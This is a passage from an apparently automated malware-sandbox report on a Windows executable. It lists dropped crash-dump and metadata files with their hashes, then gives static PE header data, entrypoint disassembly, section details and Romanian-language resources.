.F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF8AE.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4722
Entropy (8bit):	4.504284233308022
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9CtWpW8VYlQYm8M4JJJFzp+q8vCsNv9ud:uIjfdI7Yc7VWJTKbNv9ud
MD5:	9743FDAD1517C8699FB60407D1D3AF84
SHA1:	C16DF8E52B953A8081037ADDDB6AEE8B69191216
SHA-256:	1AB408E079FABF7013E85330B03F7B762BACDF144A8BDB06C85119CBC6BE5FDD
SHA-512:	AE99DAB0988B3D422D8007CE067B06EC9DDE3210209A323AF2063E96C5CEF9525813B8FAB0C8685657356974567F68CA9574953BB60A2BB46F055B1EE46F7863
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289288" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFA71.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Apr 21 06:25:53 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	63738
Entropy (8bit):	2.2254538420504475
Encrypted:	false
SSDEEP:	384:yxJedcv9rp0DU6iftzNcaE+3GPi04mHLZYsbYx3Zo8skTSzH:kaUrv1zNHE+3Gf4WdYx3Zo8SH
MD5:	8C58A98AA330FF83451C149BBB6D4A2C
SHA1:	00850FF9075C10C07B37B5D0B343D1C80CBAB3E2
SHA-256:	471E9AE29D5BE63DD3D0240B0D2A99A5D18848947611D7F8647C34A3089CA1F8
SHA-512:	4C182675354BFA5E249F34D074FB60C2EFAA5D02943E0EE842FE478A51332CF3876E46DA69A0E5DC5485B3BA0CFB3BDF88814E9266C7E883AC0124A74E938C87
Malicious:	false
Preview:	MDMP..a..... .......q.$f........................\................-..........T.......8...........T...............b...........X...........D...............................................................................eJ..............GenuineIntel............T.......l...o.$f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBAA.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8428
Entropy (8bit):	3.7058769387446633
Encrypted:	false
SSDEEP:	192:R6l7wVeJ4Hh6Imgx6Y9HSU9FGFgmf7epBT89bePsfbEKm:R6lXJ+6Imgx6YNSU9AFgmf7te0fb4
MD5:	85C60C47A261C5167B5B5377D2249CB1
SHA1:	1DC891E4412E3CD084025A7ACBE5C136350AA183
SHA-256:	5A9154A2461597FAC8BD7DBB01F7CF6C588F856E81D78AC983E13B560B86DB82
SHA-512:	7E803EF4CC08CE563A0315AB087ED8BAB1FE58D106068FEB4D41EF4C790A646BC297BE63A4E6D60F4AC07763E63123E43A90900F0D2A3675754B6918C4DDF75F
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFBDA.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4722
Entropy (8bit):	4.5029948432803275
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9CtWpW8VYlzYm8M4JJJFKP+q8vCsNv9ud:uIjfdI7Yc7VVJSKbNv9ud
MD5:	294C4E09CDADE9AAD2DDC7F94958B37A
SHA1:	BCE14087CF8EC4EA1F97DBDEA640DC58D994C19E
SHA-256:	E058A5A63D26B367B5A826A5272B84277A8E05BA04B6EA1DF5E98001BC4CD88C
SHA-512:	87B838C233B1D7CF93B52B5DD5C3773A4B458613E1FE655ECDD15FD2F1DD1424AADE769F2928733BB14B65C70D9F2FFDA4B792237F7ECA0C756CAD7683A8045F
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289288" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD8E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Apr 21 06:25:53 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	73410
Entropy (8bit):	1.9895286416769864
Encrypted:	false
SSDEEP:	384:jh5QT+Scetrs1DMfzBsxTTwHLZYsbYx3ZoWQlVD:1WTFcetr3fzB8TQdYx3ZovVD
MD5:	55D6D3191E901D4EE5A548CD6B922DD6
SHA1:	1096E4E818C91FCEA46A8014158ADB567B5FAE5F
SHA-256:	BDB252080367CE80C9BF57E7C1EC09F7A2AFC6CA8BDB5BD49EE12805D9B048A6
SHA-512:	2891BE20E1D19956EF4547361E910C6B06EB28F07C9F03BD38CBBED8AA18CB51E283B57418D121BBC57C55F0DBCA406DC4457CF6C6F0A55056F030331C552007
Malicious:	false
Preview:	MDMP..a..... .......q.$f............T...........\...\............3..........T.......8...........T...........(...........................................................................................................eJ......<.......GenuineIntel............T.......l...o.$f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFDFC.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8428
Entropy (8bit):	3.7070624127307994
Encrypted:	false
SSDEEP:	192:R6l7wVeJ416IhSC6Y9ESU99Igmf7epBa89bePsfAKm:R6lXJ66Ihv6Y+SU99Igmf76e0fc
MD5:	1DE90A21A1757AAA1880FBA201ABB3D9
SHA1:	4EAACC2DB7FEB7D467B2DACDE85D093DD28E534F
SHA-256:	3DB9C39F79689AE8F10059B217A533AE0039AD7F83C43C77CCBE5E9BED034590
SHA-512:	B57FB057F5553639C5759437F86E0C6FFBBDDA0FF53330DC673C98E3451232FF864AA5B5DD2B4107ED42E7AF6A7B91EFB5744538587080DDA95CD2BF9D193CAE
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE2C.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4722
Entropy (8bit):	4.504140534268262
Encrypted:	false
SSDEEP:	48:cvIwWl8zsDJg77aI9CtWpW8VYlWYm8M4JJJF7+q8vCsNv9ud:uIjfdI7Yc7VgJZKbNv9ud
MD5:	27FE3D174696BF542209F4A238546FD9
SHA1:	DB978A1A377CEBC32C513A702B1B1A5B5A4C7352
SHA-256:	69D28B7C874038A28BE7ABA44E7BFB447C5032B780FC0ECFCFD42364A717A981
SHA-512:	0238BE9BC0C2304BD4FBC40086DDD042914366E0F19F9F949BFD425FFD15CEF7B85AC5F92E4387A8D780CF9B57D76068E25128F48F56A2F6436FDA57090E3313
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="289288" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFFEF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sun Apr 21 06:25:54 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	72986
Entropy (8bit):	2.0013463664604005
Encrypted:	false
SSDEEP:	384:S1QT+SckjrHyFyU9fz4sb3JHLZYsbYxcZo7GFbA3aomi:rTFckjrWfz46dYxcZo8bA3hZ
MD5:	B6F2613AE02AF1E28567779C1F812EAC
SHA1:	FD7AE859CD6585C83BC3AF4289B5E553790E9448
SHA-256:	86391AF4D41ACE2FF097DE853F779D8D23A26176CCF07BA49DDD4E63D7C34BC0
SHA-512:	85B8FE8D86CE1ACE75DFCB65837132A51740650563737C4DAC0F617B6765CC3EA028B8EAD2A4E406A1C1341675FD8C44B206849A813C25C35FF08AA97C641D0E
Malicious:	false
Preview:	MDMP..a..... .......r.$f............T...........\...\............3..........T.......8...........T...........(...........................................................................................................eJ......<.......GenuineIntel............T.......l...o.$f.............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ping[1].htm

Download File

Process:	C:\Users\user\Desktop\KLJM7VyjZ2.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465452525313065
Encrypted:	false
SSDEEP:	6144:qIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN8dwBCswSbT:fXD94+WlLZMM6YFHe+T
MD5:	0D3EBFB9EA91E50F22918C8CB12F54FB
SHA1:	0FFAB3531446A72A888A66DC6E1079E8B32672D4
SHA-256:	7E38E82B405B037FDA71450081DB69E2ECCD33B993D35B830E684FBD55BC44D0
SHA-512:	370883A86BAC0169156E526D0F31EB37711091849EF4B6A982D11B2A1428536CB16999A17BEAD924FADDD0094BD493CD0B2744C4B82DDE4CFD562B493C725C80
Malicious:	false
Preview:	regf=...=....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..5..................................................................................................................................................................................................................................................................................................................................................#.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.327280986949117
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	KLJM7VyjZ2.exe
File size:	358'400 bytes
MD5:	206f7bf98269d08b4cb9aaa0a97214e0
SHA1:	f827a30d0354844bd965135dc2e652f33986b8de
SHA256:	8d8369a5383653ff8f891ac08546aaf807fe2d3d355a04f5ce8f4b22ca78685e
SHA512:	965b3f862f397dfed544cacd4ea98ef653811d40fcb073272350583b3552746c1c7057124e8ee0c63b00d64e094ffba359bc71b7afb20fdfb04ddbfff985c889
SSDEEP:	3072:WbdohbCWGrOnG+E6MzRZh+5o8WMv9vMV/8ZH59Gb/wHsZCJOFZJY/QnvyVxgpG:flx88G2fBc/G5gb/wHsIJO6/svy
TLSH:	22743B0373E27D98E9264B329E1EC6F8761DF6618E0A7B66321D9F1F16B5072C163B10
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................................./.......]..............w+..............w......Rich............PE..L...<_"d...................

File Icon


Icon Hash:	63796de971436e0f

Static PE Info

General

Entrypoint:	0x403b9f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x64225F3C [Tue Mar 28 03:30:04 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	c6a29c2b2571c33a0a23fd650053529b

Entrypoint Preview

Instruction
call 00007F7A84C4D6B0h
jmp 00007F7A84C46BD5h
push 00000014h
push 00416DF0h
call 00007F7A84C4A900h
call 00007F7A84C4D881h
movzx esi, ax
push 00000002h
call 00007F7A84C4D643h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F7A84C46BD6h
xor ebx, ebx
jmp 00007F7A84C46C05h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F7A84C46BBDh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F7A84C46BAFh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F7A84C46BDBh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F7A84C4A474h
test eax, eax
jne 00007F7A84C46BDAh
push 0000001Ch
call 00007F7A84C46CB1h
pop ecx
call 00007F7A84C4A1B0h
test eax, eax
jne 00007F7A84C46BDAh
push 00000010h
call 00007F7A84C46CA0h
pop ecx
call 00007F7A84C4D6BCh
and dword ptr [ebp-04h], 00000000h
call 00007F7A84C4C73Ah
test eax, eax
jns 00007F7A84C46BDAh
push 0000001Bh
call 00007F7A84C46C86h
pop ecx
call dword ptr [004110C0h]
mov dword ptr [01A0219Ch], eax
call 00007F7A84C4D6D7h
mov dword ptr [0043A0ECh], eax
call 00007F7A84C4D07Ah
test eax, eax
jns 00007F7A84C46BDAh

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17244	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1603000	0x1f078	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11200	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x167c8	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x16780	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x194	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf305	0xf400	3cf2edde7c76601470978c4f23c9d070	False	0.6046362704918032	data	6.686657463194026	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x6b98	0x6c00	b0742b58cd008d872307076da71d8008	False	0.39547164351851855	data	4.776713582030756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x18000	0x15ea1a0	0x22200	4736690423c590a48a765911040a0d01	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1603000	0x1f078	0x1f200	85d1c286e6d6b0815be8aa37c2a3ed10	False	0.3005773092369478	data	4.161267209456315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x161cbd0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.26439232409381663
RT_CURSOR	0x161da78	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3686823104693141
RT_CURSOR	0x161e320	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.49060693641618497
RT_CURSOR	0x161e8b8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4375
RT_CURSOR	0x161e9e8	0xb0	Device independent bitmap graphic, 16 x 32 x 1, image size 0			0.44886363636363635
RT_CURSOR	0x161eac0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x161f968	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x1620210	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_ICON	0x1603ab0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5339861751152074
RT_ICON	0x1604178	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.41192946058091284
RT_ICON	0x1606720	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.449468085106383
RT_ICON	0x1606bb8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5339861751152074
RT_ICON	0x1607280	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.41192946058091284
RT_ICON	0x1609828	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.449468085106383
RT_ICON	0x1609cc0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.3694029850746269
RT_ICON	0x160ab68	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4499097472924188
RT_ICON	0x160b410	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.4596774193548387
RT_ICON	0x160bad8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.45375722543352603
RT_ICON	0x160c040	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2687759336099585
RT_ICON	0x160e5e8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.30651969981238275
RT_ICON	0x160f690	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.35726950354609927
RT_ICON	0x160fb60	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.5170575692963753
RT_ICON	0x1610a08	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.5045126353790613
RT_ICON	0x16112b0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.45910138248847926
RT_ICON	0x1611978	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.47832369942196534
RT_ICON	0x1611ee0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Romanian	Romania	0.2794605809128631
RT_ICON	0x1614488	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Romanian	Romania	0.30816135084427765
RT_ICON	0x1615530	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Romanian	Romania	0.3389344262295082
RT_ICON	0x1615eb8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Romanian	Romania	0.36879432624113473
RT_ICON	0x1616398	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.27878464818763327
RT_ICON	0x1617240	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.36913357400722024
RT_ICON	0x1617ae8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.3951612903225806
RT_ICON	0x16181b0	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.3901734104046243
RT_ICON	0x1618718	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.2744813278008299
RT_ICON	0x161acc0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.3027673545966229
RT_ICON	0x161bd68	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.3221311475409836
RT_ICON	0x161c6f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.35106382978723405
RT_DIALOG	0x1620998	0x52	data			0.8780487804878049
RT_STRING	0x16209f0	0x432	data	Romanian	Romania	0.45251396648044695
RT_STRING	0x1620e28	0x4d4	data	Romanian	Romania	0.44660194174757284
RT_STRING	0x1621300	0x13a	data	Romanian	Romania	0.5286624203821656
RT_STRING	0x1621440	0x30a	data	Romanian	Romania	0.47429305912596403
RT_STRING	0x1621750	0x638	data	Romanian	Romania	0.43027638190954776
RT_STRING	0x1621d88	0x2ec	data	Romanian	Romania	0.47058823529411764
RT_GROUP_CURSOR	0x161e888	0x30	data			0.9375
RT_GROUP_CURSOR	0x161ea98	0x22	data			1.0588235294117647
RT_GROUP_CURSOR	0x1620778	0x30	data			0.9375
RT_GROUP_ICON	0x1606b88	0x30	data	Romanian	Romania	0.9375
RT_GROUP_ICON	0x160faf8	0x68	data	Romanian	Romania	0.7115384615384616
RT_GROUP_ICON	0x1609c90	0x30	data	Romanian	Romania	1.0
RT_GROUP_ICON	0x1616320	0x76	data	Romanian	Romania	0.6779661016949152
RT_GROUP_ICON	0x161cb58	0x76	data	Romanian	Romania	0.6864406779661016
RT_VERSION	0x16207a8	0x1ec	data			0.5386178861788617

Imports

DLL	Import
